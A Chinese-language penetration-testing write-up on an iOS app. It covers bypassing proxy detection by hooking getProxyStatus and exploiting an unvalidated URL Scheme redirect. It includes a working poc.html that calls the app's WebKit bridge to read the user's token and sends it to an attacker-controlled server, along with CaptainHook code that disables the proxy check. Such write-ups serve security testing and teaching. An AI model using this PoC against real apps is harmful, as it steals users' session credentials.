摘要: iOS App渗透测试的介绍相对比较少,最近做了一次iOS渗透测试遇到了一些奇奇怪怪的问题,因此写成了这篇文章。
手机设置代理后抓包发现App连登陆都登陆不上,登陆请求过程中返回“网络请求错误“的信息,burp没有看到具体数据包。那么大概就是App做了代理检测,当手机设置系统代理之后App不和服务端进行网络通讯。
一如既往的提取ipa包的可执行文件,iDA反编译在Functions window
搜索关键词"proxy",发现了一个getProxyStatus
方法(Google了一下iOS检测系统代理,大部分文章也都指向了这个getProxyStatus
以及CFNetworkCopySystemProxySettings
)
bool __cdecl -[XXXXManager getProxyStatus](SPBllHTTPClientManager *self, SEL a2)
{
v2 = CFNetworkCopySystemProxySettings();
...
return v19 ^ 1;
}
那么发现问题之后,显而易见直接HookgetProxyStatus
或者CFNetworkCopySystemProxySettings()
让它返回NO
就好了,但是App用了企业签名,重打包的话需要先砸壳Dump出来。
使用frida-ios-dump
dump出来未签名的ipa文件之后,xCode新建monkeyDev项目自签名之后运行,发现应用直接闪退。
这里可以看到报错点在**-[NSFileManager copyItemAtPath:toPath:options:error:]: destination path is nil'**
,似乎是函数的某个参数出问题了。接着在Functions window
中搜索copyItemAtPath
,但是没有找到,查一下这是一个文件拷贝函数但是并不想深究这个函数作用是什么用在什么场景。接着在Strings
搜索,找到了对应的字符串
不断的回溯找到了调用函数(报错的函数)
bool __cdecl -[XXXManager saveXXXPath:toFile:](XXXManager *self, SEL a2, id a3, id a4)
{
...
v14 = objc_msgSend(&OBJC_CLASS___NSFileManager, "defaultManager");
v15 = (void *)objc_retainAutoreleasedReturnValue(v14);
v16 = objc_msgSend(v13, "path");
v17 = objc_retainAutoreleasedReturnValue(v16);
v18 = (unsigned __int64)objc_msgSend(v15, "copyItemAtPath:toPath:error:", v6, v17, 0LL);
return v18;
}
再溯源一下找到这个方法的调用点,审一下代码并动态调试分析报错原因,这里的逻辑是判断一个文件是否存在,不存在的话调用这个方法进行处理,但是重打包过程中导致某个参数为空,直接报错程序闪退。
同时hook这个导致程序奔溃的saveXXXPath
(重写函数使它变成一个空函数)以及检测系统代理函数getProxyStatus
,可以进行正常的抓包并渗透测试了。
CHDeclareClass(XXXManager)
CHOptimizedMethod2(self, void, XXXManager, saveXXXPath, NSString *, arg1, toFile, NSString *, arg2) {
}
CHDeclareClass(XXXXManager)
CHOptimizedMethod0(self, BOOL, XXXXManager, getProxyStatus){
return NO;
}
CHConstructor{
CHLoadLateClass(XXXManager);
CHClassHook2(XXXManager, saveXXXPath, toFile);
CHLoadLateClass(XXXXManager);
CHClassHook0(XXXXManager, getProxyStatus);
}
除了常规的服务端渗透测试外,客户端测试还有一种常见的漏洞-URL Scheme盗取信用凭证,类似于web端url跳转不一样的是在跳转链接后携带了当前账号的cookie,这就导致了信用凭证泄漏。这一般需要:
URL跳转
分析URL Scheme逻辑,查看Scheme参数是否存在可控的url参数,可造成URL跳转
跳转是否携带敏感信息
构造poc.html并部署,手机浏览器点击自动跳转到app并向恶意服务器发出请求,在服务器中查看web请求日志是否存在敏感信息
Passionfruit查看app URL Scheme
Wechat: wx80e3244447ca12ce://
QQ: QQ41e56440://
tencent: tencent101428815://
sina: wb3173063210://
bxtest://
其中bxtest为自定义URL Scheme,当scheme的host等于bxtest的时候会自动跳转到app
反编译二进制文件,查看scheme处理相关逻辑;判断是否可以任意url跳转
函数列表中从application:openurl:options
入口跟进,追踪到+[RouteMediator handleOpenURL:]
其中这段代码中,从URL Scheme中获取url字段的值作为跳转URL(并没有做校验以及过滤),接着判断当前用户登陆状态,并把loginStatus作为跳转URL的参数一并发起请求。
v78 = objc_msgSend(v12, "objectForKey:", CFSTR("url"));
v79 = (struct objc_object *)objc_retainAutoreleasedReturnValue(v78);
v80 = ((id (__cdecl *)(UserCenter_meta *, SEL))objc_msgSend)(
(UserCenter_meta *)&OBJC_CLASS___UserCenter,
"shareUserCenter");
v81 = (void *)objc_retainAutoreleasedReturnValue(v80);
v82 = v81;
v83 = (unsigned __int64)objc_msgSend(v81, "isLogin");
v84 = ((id (__cdecl *)(RouteMediator_meta *, SEL, id, id, bool))objc_msgSend)(
(RouteMediator_meta *)&OBJC_CLASS___RouteMediator,
"getProcessedFinalUrl:params:loginStatus:",
v79,
v12,
v83);
v85 = (void *)objc_retainAutoreleasedReturnValue(v84);
objc_release(v82);
objc_release(v79);
v86 = objc_msgSend(v85, "stringByReplacingPercentEscapesUsingEncoding:", 4LL);
v55 = objc_retainAutoreleasedReturnValue(v86);
根据代码逻辑分析,跳转的urlscheme为bxtest://web?target=web&url=xxx
构造恶意poc.html存放在外网服务器启动python -m SimpleHTTPServer 8899
<html>
<head>
<script type="text/javascript">
window.success = msg =>{
xmlHttp = new XMLHttpRequest();
xmlHttp.open('GET', 'http://ip:8899/' + msg, true);
xmlHttp.send()
}
window.webkit.messageHandlers.execute.postMessage(['UserInfo', 'getToken', '', 'success', 'failure']);
</script>
</head>
<body>
<p>test</p>
</body>
</html>
在Safari浏览器打开bxtest://web?target=web&url=xxx/poc.html
自动跳转到具体APP,并成功访问poc.html
查看webserver日志发现有新的请求日志,并且GET请求中携带token